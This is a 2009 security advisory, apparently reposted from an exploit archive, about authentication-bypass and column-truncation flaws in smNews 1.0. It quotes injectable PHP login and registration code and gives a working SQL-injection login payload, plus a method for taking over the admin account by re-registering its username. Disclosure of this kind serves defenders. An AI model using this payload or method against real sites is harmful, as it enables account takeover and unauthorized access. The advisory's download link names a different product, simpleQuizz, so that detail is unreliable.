smNews 1.0 Auth Bypass/Column Truncation Vulnerabilities

2009.03.04
Credit: x0r
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################################### [0x01] Informations: Name : smNews Download : http://downloads.sourceforge.net/simplequizz/simpleQuizz.zip?modtime=1229788692&big_mirror=0 Vulnerability : Auth Bypass/Column Truncation Author : x0r Contact : andry2000@hotmail.it Notes : Proud to be Italian // Greetz : Str0ke, ######################################################################################### [0x02] Bug: Bugged file is /[path]/smNews/login.php [...] register.php [code] $results = execute('select', array('table' => 'users', 'where' => array('username =~ ^'.$_POST['username'].'$', 'and', 'password = '.md5($_POST['password'])), 'limit' => array(0,0))); [/code] [code] execute('insert', array('table' => 'users', 'values' => array('username' => $_POST['username'], 'password' => md5($_POST['password']), 'email' => $_POST['email']))); [/code] ######################################################################################### [0x03] Exploit: Exploit: 1- Username: admin ' or ' Password: x0r 2- You have only to re-reg the admin.. ex: (if admin nick is 'lol' you reg an account with your passwd, email and nick 'lol' ^^ easy :P ######################################################################################## EOF

References:

http://xforce.iss.net/xforce/xfdb/48813
http://www.milw0rm.com/exploits/8076


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top